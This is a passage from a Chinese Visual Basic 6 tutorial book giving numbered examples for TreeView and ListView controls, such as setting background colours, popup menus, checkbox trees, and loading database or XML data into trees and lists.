TreeView控件的背景色不能通过自带的属性和方法来设置，但是可以通过API函数来设置，本实例使用了SendMessage、GetWindowLong和SetWindowLong函数，实现了设置TreeView控件的背景颜色。


说明：
 （1）SendMessage函数的详细讲解请参见实例303中的关键技术。

（2）GetWindowLong函数的详细讲解请参见实例258中的关键技术。

（3）SetWindowLong函数的详细讲解请参见实例248中的关键技术。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个TreeView控件。这个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择VB菜单中的“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Windows Common Control 6.0（SP6）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中。

（3）主要程序代码如下：



Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Private Declare Function GetWindowLong Lib "User32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "User32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Const GWL_STYLE = -16&
Private Const TVM_SETBKCOLOR = 4381&
Private Const TVS_HASLINES = 2&
Private Sub Form_Load()
    Dim nodex As Node                                                '声明节点对象
    Dim i As Integer
    Dim lStyle As Long
    Call SendMessage(TreeView1.hWnd, TVM_SETBKCOLOR, 0, ByVal RGB(100, 200, 100))    '设置背景色
    lStyle = GetWindowLong(TreeView1.hWnd, GWL_STYLE)
    Call SetWindowLong(TreeView1.hWnd, GWL_STYLE, lStyle - TVS_HASLINES)
    Call SetWindowLong(TreeView1.hWnd, GWL_STYLE, lStyle)
    TreeView1.Style = tvwTreelinesPlusMinusPictureText                            '设置图形类型
    TreeView1.BorderStyle = ccFixedSingle                                    '边框样式
    With TreeView1.Nodes
        Set nodex = .Add(, , "R", "Root")                                    '添加节点
        nodex.BackColor = RGB(100, 200, 100)                                '设置节点颜色
        For i = 1 To 10
            Set nodex = .Add("R", tvwChild, "C" & i, "Child " & i)                    '添加子节点
            nodex.BackColor = RGB(100, 200, 100)                                '设置节点颜色
            nodex.EnsureVisible
        Next
    End With
End Sub




秘笈心法

心法领悟399：TreeView的节点区域。

设置TreeView控件的背景色只会将控件空白部分的背景色进行设置，而控件的每个节点以不透明的方式显示，颜色并不会改变，这样就要在设置背景色的同时设置节点颜色，才能保证整个TreeView控件的背景色被改变。



 实例400　获得所有同级节点的内容

光盘位置：光盘\MR\12\400

中级

趣味指数：[image: ]




实例说明

本实例实现获取TreeView控件的所有同级节点的内容。运行程序后，在TreeView控件中自动显示一个分类信息，单击相应的节点将显示与该节点同级的并且相同父节点的所有节点的名称，程序的运行效果如图12.34所示。

[image: ]
图12.34　获得节点内容



关键技术

本实例通过Node对象的LastSibling属性、Next属性和FirstSibling属性结合，轻松获得所有父节点和子节点的内容。

利用LastSibling属性返回对TreeView控件中的Node对象的最后相邻节点的引用。最后的相邻节点是出现在一个节点层中最后位置上的Node。实际上哪个Node出现在最后位置上取决于在那一层上的Node是否被排序，这是由Sorted属性所确定的。为了排序同一层上的Node对象，应把Parent节点的Sorted属性设置为True。请参阅下面的代码：



Private Sub TreeView1_NodeClick(ByVal Node As Node)
   Node.Parent.Sorted = True
End Sub




FirstSibling属性返回对TreeView控件中的Node对象的第一个相邻对象的引用。

第一个相邻节点是出现在一个节点层中第一个位置上的Node。实际上到底是哪一个Node出现在第一个位置取决于在那一层上的Node对象是否被排序，这由Sorted属性确定。

利用Child、FirstSibling、LastSibling、Previous、Parent、Next和Root属性均返回对另一个Node对象的引用。所以可以同时引用并执行对一个Node的操作，代码如下：



With TreeView1.Nodes(x).FirstSibling
   .Text = "New text"
   .Key = "New key"
   .SelectedImage = 3
End With




设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个TreeView控件。TreeView控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择VB菜单中的“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Control 6.0（SP6）复选框，单击“确定”按钮。此时，TreeView控件和其他几个控件添加到工具箱中。

（3）主要程序代码如下：



Private Sub TreeView1_NodeClick(ByVal Node As Node)
    Dim strText As String
    Dim n As Integer
    '设置 n 为第一个相邻节点的索引
    n = Node.FirstSibling.Index
    '在字符串变量中安放第一个相邻节点文本和换行
    strText = Node.FirstSibling.Text & vbLf
    While n <> Node.LastSibling.Index
        '在 n 不是最后相邻节点的索引时，转到下一个相邻节点并将它的文本放到字符串变量中
        strText = strText & TreeView1.Nodes(n).Next.Text & vbLf
        '设置 n 为下一个节点的索引
        n = TreeView1.Nodes(n).Next.Index
    Wend
    MsgBox strText   '显示结果
End Sub




秘笈心法

心法领悟400：展开树状结构节点响应事件。

在TreeView控件中的Node对象扩展时，也就是它的子节点变成可视时，Expand事件便发生。Expand事件发生在Click和DblClick事件之后。Expand事件的产生有3种方式：其一，双击带有子节点的Node对象；其二，将Node对象的Expanded属性设置为True；其三，单击+/-图像。



 实例401　在树状结构上实现右键菜单

光盘位置：光盘\MR\12\401

中级

趣味指数：[image: ]




实例说明

在树状结构上添加右键菜单可以方便用户操作，增加程序人性化效果。运行本实例，在程序窗口左侧树状菜单中单击鼠标右键，将弹出快捷菜单，在菜单中选择命令进行相应的操作，程序的运行效果如图12.35所示。

[image: ]
图12.35　在树状结构上实现右键菜单



关键技术

本实例的实现主要是在TreeView控件的MouseUp事件中使用了PopupMenu（弹出菜单）。PopupMenu更像普通菜单和输入框的组合体。像正规菜单一样，弹出菜单显示列表供用户选择。实际上，弹出菜单仅是复制一个已经存在的菜单的列表。但是可以在屏幕上当前鼠标位置或在一个特定的坐标系内定位弹出菜单。普通菜单必须驻留在窗口顶部且可被下拉打开。

一旦用户在弹出菜单的命令上单击，应用程序就能像响应一般菜单一样响应用户的选择。每个命令都被给出了自身的Click事件以及在事件内程序所作的响应。为看到这些菜单事件，查看窗体的代码窗口，单击左侧的下拉列表查看所有的菜单项的Name，在其中之一单击。


注意：
 （1）应用程序可以通过放在菜单项的Click事件内的指令响应用户在弹出菜单项中的选择。

（2）一次只能有一个菜单弹出。

（3）当用户单击鼠标右键时显示一个弹出的菜单；只需把PopupMenu命令放进控件或窗体的MouseDown事件或MouseUp事件内。该事件对两个鼠标键都有反应，但它通过Button变量可以了解哪个键被单击了。也可以通过如下代码强制使其只对右键反应。



If Button = 2 Then PopupMenu  MenuName




本实例使用HitTest方法实现获取鼠标右键单击的位置。HitTest方法返回对位于x和y坐标的ListItem对象或Node对象的引用。通常与拖放操作一起使用来确定放下的目标项在当前位置是否可用。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个TreeView控件、一个ImageList控件和一个ADO控件。这3个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Control 6.0（SP6）和Microsoft ADO Data Control 6.0（SP4）（OLEDB）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中。

（3）使用鼠标右键单击添加到窗体上的ImageList1控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。在“通用”选项卡中选中16×16单选按钮；切换到“图像”选项卡，单击“插入图片”按钮，选择要添加的图片，然后单击“打开”按钮，添加的图片将显示在“图像”列表框中。

（4）使用鼠标右键单击添加到窗体上的TreeView控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。在“通用”选项卡中的“图像列表”下拉列表框中选择ImageList1项，为节点添加图像。

（5）在Form1窗体上添加一个Frame控件。

（6）在Frame1控件上添加6个CommandButton控件，设置其Caption属性分别为“添加”、“修改”、“保存”、“取消”、“删除”和“退出”。

（7）在Form1窗体上再添加一个Frame控件，设置其Caption属性为“图书类别信息录入”。

（8）在Frame2控件上添加一个ComboBox控件、Label控件数组（Label1(0)～Label1(3)）和TextBox控件数组（Text1(1)～Text1(3)）。

（9）在窗体上添加菜单。选择“工具”/“菜单编辑器”命令即可打开“菜单编辑器”，也可以在“工具栏”上单击“菜单编辑器”按钮，设计菜单如图12.36所示。

[image: ]
图12.36　TreeView控件的弹出菜单



（10）主要程序代码如下：



Private Sub TreeView1_Mousedown(Button As Integer, Shift As Integer, x As Single, y As Single)
    Dim MyNod As Node
    If Button = 2 Then
        Set MyNod = TreeView1.HitTest(x, y)
        On Error GoTo MyErr
        MyNod.Selected = True
        On Error GoTo 0
        TreeView1.Enabled = False
        TreeView1.Enabled = True
        TreeView1.SetFocus
        PopupMenu MyMenu    '调用用户自定义菜单
MyErr:
        On Error GoTo 0
    End If
 
End Sub




秘笈心法

心法领悟401：全部展开TreeView控件节点。

在循环语句中设置Node对象的Expanded属性为True，即可展开全部节点。



Private Sub Command1_Click()
    For i = 1 To TreeView1.Nodes.Count
        TreeView1.Nodes(i).Expanded = True
    Next i
End Sub




如果要实现收缩全部节点，只要设置Expanded属性为False即可。



 实例402　带复选功能的树状结构

光盘位置：光盘\MR\12\402

中级

趣味指数：[image: ]




实例说明

在树状结构的节点前添加复选框，可以使用户很方便地对相关信息进行检索。运行程序，单击“选中子节点”按钮，可以将当前光标所在位置节点下的所有子节点选取，单击“显示选中的节点”按钮，可显示所有选中的节点的信息，如图12.37所示。

[image: ]
图12.37　带复选功能的树状结构



关键技术

本实例利用了TreeView控件的扩展特性。TreeView控件加入了选择按钮功能，将TreeView控件的CheckBoxes属性值设置为True即可为其添加复选框。

本实例中应用到了ScreenToClient函数和GetAsyncKeyState函数。

（1）ScreenToClient函数

该函数用于判断屏幕上一个指定点的客户区坐标，语法如下：



Declare Function ScreenToClient Lib "user32" (ByVal hWnd As Long, lpPoint As POINTAPI) As Long




（2）GetAsyncKeyState函数

判断函数调用时指定虚拟键的状态，返回值为Long，自对GetAsyncKeyState函数的上一次调用以来，如果键已被按过，则位0设为1；否则设为0。如果键目前处于按下状态，则位15设为1；如抬起，则为0。微软的win32手册指出：倘若输入焦点从属于与调用函数的输入线程不同的另一个输入线程，则返回值为0（例如，一旦另一个程序拥有焦点，则它应返回零）。证据显示，函数实际是在整个系统的范围内工作的，语法如下：



Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer




参数说明

vKey：Long，欲测试的虚拟键的键码。

例如，下面代码，当用户按Shift+S键时，输入字符串“Shift-S被按下”。



If (GetKeyState(VK_SHIFT) And &HF0000000) And wParam = Asc("S") Then
    'show the result
    Form1.Print " Shift-S被按下"
End If




设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个TreeView控件和一个ImageList控件。这两个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Control 6.0（SP6）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中。

（3）使用鼠标右键单击添加到窗体上的ImageList1控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。在“通用”选项卡中选中16×16单选按钮；切换到“图像”选项卡，单击“插入图片”按钮，选择要添加的图片，然后单击“打开”按钮，添加的图片将显示在“图像”列表框中。

（4）使用鼠标右键单击添加到窗体上的TreeView控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。在“通用”选项卡中的“图像列表”下拉列表框中选择ImageList1选项，为节点添加图像。

（5）在Form1窗体上添加3个CommandButton控件，分别设置其Caption属性为“选中子节点”、“不选中子节点”和“显示选中的节点”。

（6）添加一个Label控件和一个ListBox控件。

（7）主要程序代码如下：



Private Sub SetCheckboxesOfNodeChildren(nodeParent As Node, fCheck As Boolean)
    Dim nodeChild As Node
    Dim hItem As Long
    Set nodeChild = nodeParent.Child
    Do While (nodeChild Is Nothing) = False                                '遍历子节点
        hItem = GetTVItemFromNode(m_hwndTV, nodeChild)
        If hItem Then
            Call SetTVItemCheckImage(m_hwndTV, hItem, fCheck)
        End If
        If (nodeChild.Child Is Nothing) = False Then
            Call SetCheckboxesOfNodeChildren(nodeChild, fCheck)
        End If
        Set nodeChild = nodeChild.Next
    Loop
End Sub
Private Sub cmdCheckedNodes_Click()                                  '显示选中的节点
    Dim colCheckedNodes As New Collection
    Dim nodeChecked As Node
    List1.Clear
    DoEvents
    MousePointer = 11                                            '设置鼠标指针状态
    Set colCheckedNodes = Nothing
    Call LoadCheckedNodes(TreeView1.Nodes(1), colCheckedNodes)
    If colCheckedNodes.Count Then
        For Each nodeChecked In colCheckedNodes
            List1.AddItem nodeChecked.Text
        Next
    Else
        List1.AddItem "<没有节点被选中>"
    End If
    MousePointer = 0
End Sub




秘笈心法

心法领悟402：运行时编辑节点标签。

当将LabelEdit属性设置为1（手动）时，必须用StartLabelEdit方法来启动一标签编辑操作。在一对象上调用StartLabelEdit方法时，BeforeLabelEdit事件也同时发生。



 实例403　使用TreeView控件实现多级商品信息浏览

光盘位置：光盘\MR\12\403

中级

趣味指数：[image: ]




实例说明

在进行商品信息管理时，将商品信息按照类别进行区分，可以分为多个不同层次的级别。本实例实现使用TreeView控件显示多级商品信息，使商品信息层次清晰、类别分明。运行本程序，自动将数据库中的商品信息按照级别显示在TreeView控件中，可以单击查阅，程序的运行效果如图12.38所示。

[image: ]
图12.38　使用TreeView控件实现多级商品信息浏览



关键技术

TreeView控件的相关属性、方法、事件如下。

（1）Nodes属性

该属性返回对TreeView控件的Node对象的集合的引用，语法如下：



object.Nodes




参数说明

object：所在处代表一个对象表达式。

（2）SelectedItem属性

该属性返回对所选ListItem、Node或Tab对象的引用，语法如下：



object.SelectedItem




参数说明

object：所在处代表一个对象表达式。

（3）NodeClick事件

该事件在一个Node对象被单击时发生，语法如下：



Private Sub object_NodeClick(ByVal node As Node)




参数说明

❶object：对象表达式。

❷Node：对被点取的Node对象的引用。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个TreeView控件、一个ImageList控件和一个ADO控件。这3个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Control 6.0（SP6）和Microsoft ADO Data Control 6.0（SP4）（OLEDB）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中。

（3）使用鼠标右键单击添加到窗体上的ImageList1控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。在“通用”选项卡中选中16×16单选按钮；切换到“图像”选项卡，单击“插入图片”按钮，选择要添加的图片，然后单击“打开”按钮，添加的图片将显示在“图像”列表框中。

（4）使用鼠标右键单击添加到窗体上的TreeView控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。在“通用”选项卡中的“图像列表”下拉列表框中选择ImageList1选项，为节点添加图像。

（5）在Form1窗体上添加一个Frame控件，设置“名称”属性为Frame2，Caption属性为“商品信息”。

（6）在Frame2控件上添加Label控件数组（Label1(0)～Label1(7)）和TextBox控件数组（Text1(0)～Text1(7)）。

（7）主要程序代码如下：



Public Sub tree_change()     '定义添加树状列表的函数
    Dim key, text, bh As String
    'Dim nod As Node
    Adodc1.RecordSource = "select * from 商品基础信息表 order by 商品编号"
    Adodc1.Refresh
    If Adodc1.Recordset.RecordCount > 0 Then
        Adodc1.Recordset.MoveFirst
        Do While Adodc1.Recordset.EOF = False
            If Len(Trim(Adodc1.Recordset.Fields("商品编号"))) = 2 Then
                key = Trim(Adodc1.Recordset.Fields("本级名称"))
                text = "(" & Trim(Adodc1.Recordset.Fields("商品编号")) & ")" & Trim(Adodc1.Recordset.Fields("本级名称"))
                Set Node1 = TreeView1.Nodes.Add(, , key, text, 1)
            End If
            If Len(Trim(Adodc1.Recordset.Fields("商品编号"))) = 4 Then
                key = Trim(Adodc1.Recordset.Fields("本级名称"))
                text = "(" & Trim(Adodc1.Recordset.Fields("商品编号")) & ")" & Trim(Adodc1.Recordset.Fields("本级名称"))
                Set Node2 = TreeView1.Nodes.Add(Node1.Index, tvwChild, key, text, 2)
            End If
            If Len(Trim(Adodc1.Recordset.Fields("商品编号"))) = 7 Then
                key = Trim(Adodc1.Recordset.Fields("本级名称"))
                text = "(" & Trim(Adodc1.Recordset.Fields("商品编号")) & ")" & Trim(Adodc1.Recordset.Fields("本级名称"))
                Set Node3 = TreeView1.Nodes.Add(Node2.Index, tvwChild, key, text, 3)
            End If
            Adodc1.Recordset.MoveNext
        Loop
    End If
End Sub




秘笈心法

心法领悟403：TreeView控件失去焦点仍显示选定项。

在默认情况下，TreeView控件失去焦点后选定项也失去焦点，如果设置Node对象的HideSelection属性值为False，即使TreeView失去焦点，选定内容还会以选定状态出现。



 实例404　动态修改树状结构的节点

光盘位置：光盘\MR\12\404

中级

趣味指数：[image: ]




实例说明

使用树状控件显示带层次的数据信息，在程序运行时，数据经常会改变，这样就需要动态地改变树状结构的节点。本实例实现动态修改树状结构的节点，实现节点的添加、修改、删除等操作。运行程序后，选择要添加节点的同级节点，单击“添加”按钮，设置节点信息，单击“保存”按钮即可添加一个同级节点，程序的运行效果如图12.39所示。

[image: ]
图12.39　动态修改树状结构节点



关键技术

要想实现动态修改树状结构的节点，首先通过将数据库中存储的图书类别信息显示到TreeView控件中，而对TreeView结构的修改则是通过修改数据库中的记录来实现的。其中，主要应用到了向TreeView控件中添加项目的Add方法。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个TreeView控件、一个ImageList控件和一个ADO控件。这3个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Control 6.0（SP6）和Microsoft ADO Data Control 6.0（SP4）（OLEDB）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中。

（3）使用鼠标右键单击添加到窗体上的ImageList1控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。在“通用”选项卡中选中16×16单选按钮；切换到“图像”选项卡，单击“插入图片”按钮，选择要添加的图片，然后单击“打开”按钮，添加的图片将显示在“图像”列表框中。

（4）使用鼠标右键单击添加到窗体上的TreeView控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。在“通用”选项卡中的“图像列表”下拉列表框中选择ImageList1选项，为节点添加图像。

（5）在Form1窗体上添加一个Frame控件。

（6）在Frame1控件上添加6个CommandButton控件，设置其Caption属性分别为“添加”、“修改”、“保存”、“取消”、“删除”和“退出”。

（7）在Form1窗体上再添加一个Frame控件，设置其Caption属性为“图书类别信息录入”。

（8）在Frame2控件上添加一个ComboBox控件、Label控件数组（Label1(0)～Label1(3)）和TextBox控件数组（Text1(1)～Text1(3)）。

（9）主要程序代码如下：



Public Sub Tree_change()     '声明一个树状显示数据的过程
    On Error Resume Next                '错误处理
    Dim key, text As String
    rs1.Open "select * from tslbb order by 类别编号", cnn, adOpenKeyset, adLockOptimistic        '打开记录集
    If rs1.RecordCount > 0 Then
        With rs1
            .MoveFirst                            '移动到第一条记录
            Do While .EOF = False
                If Len(.Fields("类别编号")) = 2 Then
                    key = Trim(.Fields("类别名称"))
                    text = "(" & Trim(.Fields("类别编号")) & ")" & Trim(.Fields("类别名称"))
                    Set Node1 = TreeView1.Nodes.Add(, , key, text, Val(.Fields("级别")))
                End If
                If Len(.Fields("类别编号")) = 5 Then
                    key = Trim(.Fields("类别名称"))
                    text = "(" & Trim(.Fields("类别编号")) & ")" & Trim(.Fields("类别名称"))
                    Set Node2 = TreeView1.Nodes.Add(Node1.Index, tvwChild, key, text, Val(.Fields("级别")))
                End If
                If Len(.Fields("类别编号")) = 9 Then
                    key = Trim(.Fields("类别名称"))
                    text = "(" & Trim(.Fields("类别编号")) & ")" & Trim(.Fields("类别名称"))
                    Set Node3 = TreeView1.Nodes.Add(Node2.Index, tvwChild, key, text, Val(.Fields("级别")))
                End If
                If Len(.Fields("类别编号")) = 14 Then
                    key = Trim(.Fields("类别名称"))
                    text = "(" & Trim(.Fields("类别编号")) & ")" & Trim(.Fields("类别名称"))
                    Set Node4 = TreeView1.Nodes.Add(Node3.Index, tvwChild, key, text, Val(.Fields("级别")))
                End If
                If Len(.Fields("类别编号")) = 20 Then
                    key = Trim(.Fields("类别名称"))
                    text = "(" & Trim(.Fields("类别编号")) & ")" & Trim(.Fields("类别名称"))
                    Set Node5 = TreeView1.Nodes.Add(Node4.Index, tvwChild, key, text, Val(.Fields("级别")))
                End If
                .MoveNext
            Loop
        End With
    End If
    rs1.Close
End Sub




秘笈心法

心法领悟404：快速返回Node对象的个数。

可利用GetVisibleCount方法返回固定在TreeView控件内部区域的Node对象的个数。



 实例405　将XML文档显示在TreeView中

光盘位置：光盘\MR\12\405

中级

趣味指数：[image: ]




实例说明

XML格式是一种表达能力很强的格式。由于XML文档是以树形结构为格式，所以通常采用TreeView控件显示它们。本实例实现在树状控件中显示XML文档中的内容，并显示其层次结构，程序的运行效果如图12.40所示。

[image: ]
图12.40　将XML文档显示在TreeView中



关键技术

在VB中使用XML文档，应首先在工程中引用它，方法为：选择“工程”/“引用”命令，打开“引用”对话框，在此选择Microsoft XML,v6.0或更高版本。

引用XML文件后，同样使用TreeView控件的Node对象Add方法，向树状控件中添加节点。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个TreeView控件。TreeView控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Control 6.0（SP6）复选框，单击“确定”按钮。此时，TreeView控件和其他几个控件添加到工具箱中。

（3）主要程序代码如下：



Dim xml As DOMDocument
Dim i As Integer
Private Sub Form_Load()
    Set xml = New DOMDocument
    'index.xml为描述图书信息的XML文档
    Call xml.Load(App.Path & "\index.xml")
    Dim root As IXMLDOMElement
    Set root = xml.documentElement
    Dim node As IXMLDOMNode                                        '声明节点对象
    TreeView1.Nodes.Add , , "books", "明日公司图书"                            '添加根节点
    For i = 0 To Val(root.childNodes.length) - 1
        TreeView1.Nodes.Add "books", tvwChild, "C" & i, root.childNodes(i).Text            '向TreeView添加节点
    Next i
    For i = 1 To TreeView1.Nodes.Count
        TreeView1.Nodes(i).Expanded = True
    Next i
End Sub




秘笈心法

心法领悟405：判断是否单击了树状控件的空白处。

在单击节点对象之外的TreeView控件的任何部位，可发生标准的Click事件。当单击某个特定的Node对象时，NodeClick事件发生；NodeClick事件也返回对特定的Node对象的引用，在下一步操作之前，这个引用可用来使这个Node对象可用。NodeClick事件发生在标准的Click事件之前。


 12.6　ListView控件应用



 实例406　显示列表中当前人员的姓名信息

光盘位置：光盘\MR\12\406

中级

趣味指数：[image: ]




实例说明

本实例实现在列表中显示人员信息，人员信息以图像列表的形式显示，当单击列表中的人员时，将显示该人员的姓名信息，程序的运行效果如图12.41所示。

[image: ]
图12.41　显示当前人员姓名信息



关键技术

本实例在ListView控件的ItemClick事件中实现获取列表项的信息。ItemClick事件在单击ListView控件中ListItem对象时发生，语法如下：



Private Sub object_ItemClick(ByVal Item As ListItem)




参数说明

❶object：对象表达式，其值是ListView控件。

❷ListItem：被单击的ListItem对象。


注意：
 使用此事件决定单击了哪个ListItem。此事件在Click事件之前触发。鼠标单击ListView控件的任何部分时触发标准的Click事件。只有当鼠标单击ListItem对象的文本或图像时才触发ItemClick事件。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个ListView控件。ListView控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Control 6.0（SP6）复选框，单击“确定”按钮。此时，ListView和其他几个控件添加到工具箱中。

（3）在窗体上添加一个标签控件，设置Caption属性为空。添加两个CommandButton控件，设置Caption属性分别为“设置”和“列表显示”。

（4）主要程序代码如下：



Private Sub ListView1_Click()
   ListView1.SelectedItem.Bold = False
   ListView1.SelectedItem.ForeColor = &HFF&        '背景色设置为红色
End Sub
'
 
Private Sub ListView1_ItemClick(ByVal Item As MSComctlLib.ListItem)
     Label1.Caption = "当前选择人员： " & Item.Text
End Sub




秘笈心法

心法领悟406：让ListView控件显示复选框。

利用CheckBoxes属性，可以设置ListView控件是否显示复选框。



 实例407　设置ListView控件的显示方式

光盘位置：光盘\MR\12\407

中级

趣味指数：[image: ]




实例说明

利用ListView控件可以显示多种列表外观，能够满足程序设计的多种需求。本实例实现演示多种ListView控件的外观，使读者能够掌握图像列表控件的几种外观及设置方法，程序的运行效果如图12.42所示。

关键技术

ListView控件的View属性用于返回或设置ListView控件中ListItem对象的外观，语法如下：



object.View [= value]




参数说明

❶object：对象表达式，其值是ListView控件。

❷value：指定控件外观，为整数或常数。

value的设置值如表12.10所示。

[image: ]
图12.42　设置ListView控件外观



表12.10　value的设置值



	常数
	值
	说明



	lvwIcon
	0
	图标。每个ListItem对象由整幅（标准）的图标和文本标签代表



	lvwSmallIcon
	1
	小图标。每个ListItem对象由小图标及其右侧的文本标签代表。项目水平排列



	lvwList
	2
	列表。每个ListItem对象由小图标及其右侧的文本标签代表。ListItem对象及其相关的信息在列中垂直排列



	lvwReport
	3
	报表。每个ListItem对象显示为小图标和文本标签。可在子项目中提供关于每个ListItem对象的附加信息。图标、文本标签和信息显示在列中，其中最左侧一列包含小图标和文本标签。附加列显示每个项目的子项目的文本




设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个ListView控件。ListView控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Control 6.0（SP6）复选框，单击“确定”按钮。此时，ListView和其他几个控件添加到工具箱中。

（3）主要程序代码如下：



Private Sub Form_Load()
    Adodc1.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\db_Operator.mdb;Persist Security Info=False"
    '为 ColumnHeader 对象创建对象变量
    Dim clmX As ColumnHeader
    Set clmX = ListView1.ColumnHeaders. _
        Add(, , "Name", ListView1.Width / 3)
    Set clmX = ListView1.ColumnHeaders. _
        Add(, , "Address", ListView1.Width / 3)
    Set clmX = ListView1.ColumnHeaders. _
        Add(, , "Phone", ListView1.Width / 3)
    ListView1.BorderStyle = ccFixedSingle '设置 BorderStyle 属性
    ListView1.View = lvwReport '设置 View 属性为报表型
    '添加一个图像到 ImageList1--图标 ImageList。
    Dim imgX As ListImage
    Set imgX = ImageList1.ListImages. _
        Add(, , LoadPicture(App.Path & "\Image\BEBOX WA.ICO"))
    '添加一个图像到 ImageList2--小图标 ImageList
    Set imgX = ImageList2.ListImages. _
        Add(, , LoadPicture(App.Path & "\Image\doc.ico"))
    ListView1.Icons = ImageList1
    ListView1.SmallIcons = ImageList2
    '用View选项标注OptionButton控件
    Option1(0).Caption = "大图标显示"
    Option1(1).Caption = "小图标显示"
    Option1(2).Caption = "列表显示"
    Option1(3).Caption = "报表显示"
    ListView1.View = lvwIcon '设置为图标视图
    '为数据访问对象创建对象变量
    Dim myDb As Database, myRs As Recordset
    '设置数据库为 BIBLIO.MDB 数据库
    Adodc1.RecordSource = "select * from tb_enter"
    Adodc1.Refresh
    '为添加 ListItem 对象创建变量
    Dim itmX As ListItem
    While Not Adodc1.Recordset.EOF
        Set itmX = ListView1.ListItems.Add(, , CStr(Adodc1.Recordset!Name))
        itmX.Icon = 1   '设置 ImageList1 中的一个图标
        itmX.SmallIcon = 1   '设置 ImageList2 中的一个图标
        If Not IsNull(Adodc1.Recordset!Address) Then
            itmX.SubItems(1) = CStr(Adodc1.Recordset!Address) 'Address 字段
        End If
        If Not IsNull(Adodc1.Recordset!phone) Then
            itmX.SubItems(2) = Adodc1.Recordset!phone  'Phone 字段
        End If
        Adodc1.Recordset.MoveNext  '移动到下一条记录
    Wend
End Sub
Private Sub Option1_Click(Index As Integer)
    '设置ListView控件的View属性为
    ' Option1的索引
    ListView1.View = Index
    If Index = 3 Then
        ListView1.GridLines = True
        ListView1.FullRowSelect = True   '选择整行
    End If
End Sub




秘笈心法

心法领悟407：ListView控件列标头的设置。

可以使用HideColumnHeaders属性决定是否在ListView控件中显示列标头。列标头可以在设计时添加，也可以在运行时添加。设计时，使用ListView“控件属性”对话框的“列首”选项卡添加列标头。运行时，使用Add方法添加ColumnHeader对象到ColumnHeaders集合中。



 实例408　将图标加载到ListView控件中

光盘位置：光盘\MR\12\408

中级

趣味指数：[image: ]




实例说明

本实例实现以报表的形式显示ListView控件，并为列表列标题设置图标，使列表更加形象生动。运行本程序，将自动显示几列，每列的标题都添加了图标，运行效果如图12.43所示。

[image: ]
图12.43　设置列标头图标



关键技术

为ListView控件的ColumnHeaders集合提供图标，在程序启动时，将控件的显示模式设置为报表的显示模式，然后在控件报表的表头中显示ImageList控件中的图标，这里利用了ListView控件的ColumnHeaders集合的Icon属性，为其设置一个与ListView控件绑定的ImageList控件的图像索引。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认“名称”属性为Form1。

（2）在Form1窗体上添加一个ListView控件。ListView控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择VB菜单中的“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft Windows Common Control 6.0（SP6）复选框，单击“确定”按钮。此时，ListView和其他几个控件添加到工具箱中。

（3）添加一个ImageList控件，并为其添加一个图标。

（4）主要程序代码如下：



Private Sub Form_Load()
    ' 假设 ImageList 控件中至少有一个图像
    Dim c As ColumnHeader
    Dim i As Integer
